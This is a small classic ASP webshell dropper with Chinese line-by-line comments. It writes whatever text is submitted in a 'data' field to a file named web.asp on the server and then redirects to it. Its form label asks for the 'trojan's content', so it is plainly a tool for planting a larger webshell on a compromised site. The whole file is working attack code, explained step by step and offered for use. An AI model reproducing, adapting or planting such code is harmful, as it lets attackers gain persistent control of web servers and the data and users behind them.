<% if request("data")<>"" then %><!– 如果获得的data值不为空就执行下面的语句 –>
<%set save=server.createObject("Adodb.Stream")%><!– 建立一个流对象 –>
<%save.Type=2%> <!– 设置流对象的类型为字符流–>
<%save.Open %> <!– 打开流对象 –>
<%save.CharSet="gb2312" %><!– 设置流对象的编码方式为GB2312–>
<%save.writetext request("data")%><!– 把获取的date数据装入流对象中–>
<%save.SaveToFile server.mappath("web.asp"),2 %> <!– 将对象的内容写到当前目录下的web.asp中–>
<%save.Close%><!– 关闭流对象 –>
<%set save=nothing%><!– 销毁流对象 –>
<%response.redirect "web.asp"%> <!– 语句完成后跳转到写的web.asp文件 –>
<%end if%>
<form action= method=post>
输入马的内容:<br>
<textarea name=data cols=80 rows=10 width=32></textarea><br>
<input type=submit value=保存>
</form>